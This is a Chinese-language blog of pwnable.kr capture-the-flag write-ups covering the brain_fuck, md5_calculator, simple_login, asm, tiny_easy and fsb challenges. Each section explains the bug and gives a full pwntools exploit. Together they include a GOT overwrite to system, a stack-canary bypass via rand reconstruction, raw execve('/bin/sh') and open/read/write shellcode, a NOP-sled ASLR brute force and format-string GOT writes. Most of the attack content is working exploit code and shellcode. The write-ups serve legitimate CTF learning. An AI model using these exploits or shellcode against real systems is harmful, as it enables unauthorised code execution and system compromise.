libc=ELF('/home/etenal/pwnable.kr/brain_fuck/bf_libc.so')
p=remote('pwnable.kr','9001')
print (p.recvline_startswith('type'))
payload='<'*(0x0804a0a0-0x0804a030)
payload=payload+'.'+'.>'*4+'<'*4+',>'*4  #putchar-> start
payload=payload+'<'*(0x0804a030+4-0x0804a02c)
payload=payload+',>'*4   #memset-> gets
payload=payload+'<'*(0x0804a02c+4-0x0804a010)+',>'*4+'.' #fgets -> system

p.sendline(payload)
p.recvn(1) #保证putchar被执行过一次
addr_putchar=p.recvn(4)[::-1].encode('hex')
addr_system=int(addr_putchar,16)-libc.symbols['putchar']+libc.symbols['system'];
addr_gets=int(addr_putchar,16)-libc.symbols['putchar']+libc.symbols['gets']
addr_start=0x080484e0

p.send(p32(addr_start))
p.send(p32(addr_gets))
p.send(p32(addr_system))
p.sendline('/bin/sh\x00')
p.interactive()

参考资料:
Pwnable.kr brainfuck writeup
[Pwnable.kr] BrainFuck
图摘自:Learning Linux Binary Analysis


(二十):pwnable-md5_calculator

这道题我本地很难拿flag,是因为time不同步

大致思路如下
g_buf长度是1024,栈内解码后的储存空间只有512,这里就会发生溢出。栈的结构如下
1

canary是栈保护机制,如果这个值被覆盖将会直接触发异常,但是这道题的captcha的生成使用到了carnary值,逆着算法算回去就能得到canary绕开栈保护。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>


int main(int argc, char *argv[])
{
  //time_t t = time(0);

  int t=atoi(argv[1]);
  int m=atoi(argv[2]);

  srand(t);
  int num[32];
  for (int i=0;i<=7;i++)
  {
    num[i*4]=rand();
    //printf ("num[%d]:%x\n",i*4, num[i*4]);
  }
  int tot = (num[4]+num[20])+(num[8]-num[12])+(num[28])+(num[16]-num[24]);
  m -= tot;
  printf ("%x\n",m);
  return 0;
}

eip我将返回到程序结束的system调用处,当eip跳到system,新的esp将是system内执行的指令字符串指针,这个值也被我修改到了g_buf中保存有’/bin/sh’的位置,因为g_buf是全局变量,所以我可以向g_buf内传入一串正常的base64+’\x00’+’/bin/sh’。

exp在本地能够拿到shell,但是本地和服务器时间不同步,导致pwn时canary生成不一致,目前想到的解决方法是直接在服务器里面nc 0 9002,代码放在我的GITHUB
exp如下

from pwn import *
import time
import random

def toHex(source):
    tot=0
    n=1
    print (source)
    source=source[::-1]
    for i in source:
        if ord(i)>ord('9'):
            tmp=ord(i)-ord('a')+10
            tot=tot+tmp*n
        else:
            tmp=ord(i)-ord('0')
            tot=tot+tmp*n
        n=n*16
    return tot

#我企图直接获取pwnable的服务器时间,然后再同步到本地,但是这种方法也宣告失败
time_ssh=ssh(host='pwnable.kr',user='asm',password='guest',port=2222)
time_shell=time_ssh.process(["/bin/sh"])
time_shell.sendline("date")
ser_time=time_shell.readline()
ser_time=ser_time[2:len(ser_time)].strip()

print ("("+ser_time+")")
ser_time=list(ser_time)
ser_time[18]=chr(ord(ser_time[18]))
ser_time="".join(ser_time)
print ("("+ser_time+")")
os.system("sudo date --set \""+ser_time+"\"")
t=time.time()

pwn=remote("pwnable.kr",9002)

#pwn=process(argv=["/home/etenal/pwnable.kr/hash/hash"])
pwn.readline()
junk,captcha=pwn.readline().split(':')
captcha=captcha[1:len(captcha)]
args=["/home/etenal/pwnable.kr/hash/randCalc",str(t),captcha.strip()]
subp=subprocess.Popen(args,stdout=subprocess.PIPE)
cookie=toHex(subp.communicate()[0].strip())

addr_system=0x08049187
addr_sh=0x0804b3b6
pwn.send(captcha);
print (p32(cookie),p32(addr_system),p32(addr_sh))
org_payload='\x41'*512+p32(cookie)+'\x90'*12+p32(addr_system)+p32(addr_sh)
payload=b64e(org_payload)+'\x00'*10+'/bin/sh'

print (len(payload))
pwn.sendline(payload)
pwn.interactive()



(二十一):pwnable-simple_login

这题不是太难,了解leave指令是关键。
intel的手册上写有
2
在以前的逆向过程中,每进入一个call就会出现

push ebp
mov ebp,esp

这两句指令就是保存了原本的ebp和esp,当call结束,就会恢复这ebp和esp,leave就是起一个这样的功能

mov esp,ebp
pop ebp

在这道题这个实际例子中,esp=ebp+4(恢复的时候会加4个字节,why?),ebp会获取之前存入栈内的旧值。

这道题的漏洞就在auth
3
input长度为12字节,而v4能使用的栈空间只有8字节,所以input的最后四位将会覆盖原本保存的ebp值。此时栈结构如下
4
如果能执行两次leave,就能控制eip

mov esp,ebp
pop ebp //我将控制ebp

mov esp,ebp  //将控制esp,也就控制了eip
pop ebp

所以构造的输入是AAAA+返回到correct函数的地址(4字节)+第一次控制ebp的值(4字节)
返回地址我使用的0x8049278,第一次控制ebp的值使用input的地址(因为input的第二个四字节是返回地址,刚好满足ebp+4=eip,如果不能理解请自己使用gdb调试一次)
exp如下:

from pwn import *

p=remote("pwnable.kr",9003)
p.sendline("QUFBQXiSBAhA6xEI")
p.interactive()


(二十二):pwnable-asm

这个月是考试月,预习微积分,大学物理,电路分析,概率论,数据结构,英国文学与文化所以没有太多时间写这个,周末约了妹子回来就把这道积下的asm做了,明天正式开始预习。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

作者用了一个沙盒,保证只能使用open,write,read,exit等几个关键指令,要求写一个shellcode,这题应该是很简单的,博主犯了几个智障的错误导致困了很久
1是要求x64的shellcode,博主写汇编开开心心的eax,ebp,int 80,然后一直bad system call一度抓狂
2是输入的shellcode结尾不加回车字符(也就是\xa)

博主写的汇编如下

global _start

[SECTION .text]

_start:
  jmp MESSAGE

GOBACK:

  mov rax, 2  ;open file
  pop rdi
  mov rsi, 0
  syscall

  mov rdi, rax

  xor rax, rax

  mov rax, 0  ;read from file
  mov rsi, rsp
  mov rdx, 100 ;count
  syscall

  mov rax, 1  ;write
  mov rdi, 1
  mov rsi, rsp
  mov rdx, 100 ;count
  syscall

  mov rax, 60 ;exit
  syscall

MESSAGE:
  call GOBACK

  db 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'

应该能看懂吧,就是一个open,read,write的过程。
不能将db传递给字符串,导出shellcode只会导出代码段,而字符串对应的内存地址只在当前程序有效,将它放在主函数的call外保证pop rdi时将flag文件的名字传入,所以shellcode的后半部分就是字符串
完成后用nasm和ld编译链接,用objdump和odfhex导出shellcode

shellcode="\xeb\x3d\xb8\x02\x00\x00\x00\x5f\xbe\x00\x00\x00\x00\x0f\x05\x48\x89"\
"\xc7\x48\x31\xc0\xb8\x00\x00\x00\x00\x48\x89\xe6\xba\x64\x00\x00\x00"\
"\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x89\xe6\xba\x64"\
"\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\x0f\x05\xe8\xbe\xff\xff\xff"\
"\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b"\
"\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73"\
"\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e"\
"\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61"\
"\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"\
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f"\
"\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67\x00"  

python -c "print '\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67'"

this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

博主的py如下

from pwn import *


shellcode="\xeb\x3d\xb8\x02\x00\x00\x00\x5f\xbe\x00\x00\x00\x00\x0f\x05\x48\x89"\
"\xc7\x48\x31\xc0\xb8\x00\x00\x00\x00\x48\x89\xe6\xba\x64\x00\x00\x00"\
"\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x89\xe6\xba\x64"\
"\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\x0f\x05\xe8\xbe\xff\xff\xff"\
"\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b"\
"\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73"\
"\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e"\
"\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61"\
"\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"\
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f"\
"\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67\x00"  
#注意加个\x00表示字符串结束



ssh_pwn=ssh(user='asm',host='pwnable.kr',port=2222,password='guest')
p=ssh_pwn.remote(host='0',port=9026)
p.send(shellcode)
print (p.recvall())

参考资料:
Linux System Call Table for x86 64
Shellcoding for Linux and Windows Tutorial


(二十三):pwnable-tiny_easy

翘首以待的寒假开始,博主又开始刷pwnable。

这个tiny_easy的代码很短

pop eax  
pop edx  
mov edx,DWORD PTR [edx]  
call edx  

(真·tiny)
我们都知道C的main函数
int main(int argc, char* argv[], char* envp[])

argc : 参数个数
argv : 一个指向参数数组的指针
envp : 一个指向环境变量数组的指针

前面的文章提到,函数压栈是从右至左的,所以栈内的数据目前是

那所以

pop eax ;就将argc储存到了eax
pop edx ;就将pointer to argv储存到了edx
mov edx,DWORD PTR [edx] ;把argv数组的第一个值传给edx(前四字节)
call edx ;跳转到这个地址

众所周知,argv[0]储存的是程序名,也就是我能操控的东西。
那现在只能把shellcode放到envp里面,把shellcode放进envp需要一段很长的nop雪橇,因为开了ASLR后每一次envp的值都不一样,所以需要暴力猜解,我尝试用下面代码来测试通常的envp位置

#include <stdio.h>

int main(int argc, char* argv[], char* envp[])
{
  printf("envp : {%p}", envp);
}

执行结果是

我就取最后一组作为跳转到nop雪橇的地址

nop雪橇:一长串nop组成的没有意义的字符,但是跳转到这个nop串上,会一直滑落到nop串结束的地方,形象地比作雪橇,nop雪橇的终点通常是shellcode

exp如下

import subprocess

myenv = {}
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"\
            "\x73\x68\x68\x2f\x62\x69\x6e\x89"\
            "\xe3\xb0\x0b\xcd\x80"
nopsled = 4096 * '\x90'

for i in range(1,100):
    myenv['pwn'+str(i)] = nopsled + shellcode

while True:
    p = subprocess.Popen(['\xdc\x0e\xcb\xff'],executable='tiny_easy',env=myenv)
    p.wait()

参考资料:
Pwning tiny_easy (pwnable.kr)
又见pwnable.kr–Rookiss 之 tiny_easy


(二十四):pwnable-fsb

这道题是格式化字符串漏洞的利用,关于这个漏洞的利用我在结尾贴出几篇文章,本文就不讲解了。
把fsb放进IDA里面观察栈结构
发现如下的结构

既然有一个指向栈的指针,我就能向栈里面写入任意数据,于是可以考虑向FF8EF450写入pw的地址,然后再向pw写入自己的数据,但是实测后发现

alloca(0x12345 & key);

这句会在栈上分配一段随机空间,对key造成严重的影响,(why?我之后再来研究),比如以下问题:

可以看到,pw和key一起输出,key竟然成了0????
总之这坑了我很久,最后发现注释掉了alloca(0x12345 & key);就正常了

于是换一种思路,我考虑修改got来直接跳到execve位置,那就选择修改printf。

  • 向FF8EF450位置写入printf的地址:%134520832x%14$n (134520832是地址0x804a000的10进制 14是(FF8EF438-FF8EF400)/4的结果,即将第14个参数作为%n的地址)
  • 向printf的地址写入execve的地址:%134514347x%20$n (134514347是地址0x80486ab的10进制 20是(FF8EF450-FF8EF400)/4的结果,即将第20个参数作为%n的地址)
  • 所以得到exp

    from pwn import *
    
    ssh_pwn = ssh(host='pwnable.kr',user='fsb',password='guest',port=2222)
    p = ssh_pwn.process(['./fsb'])
    p.sendline('%0{0}x%14$n'.format(0x804a000))
    p.sendline('%0{0}x%20$n'.format(0x80486ab))
    p.interactive()
    

    参考资料:
    格式化字符串漏洞简介
    Linux下的格式化字符串漏洞利用姿势



    1 条评论

    发表评论

    *

    • memcpy那道题写错了,第二个数字不是50而是20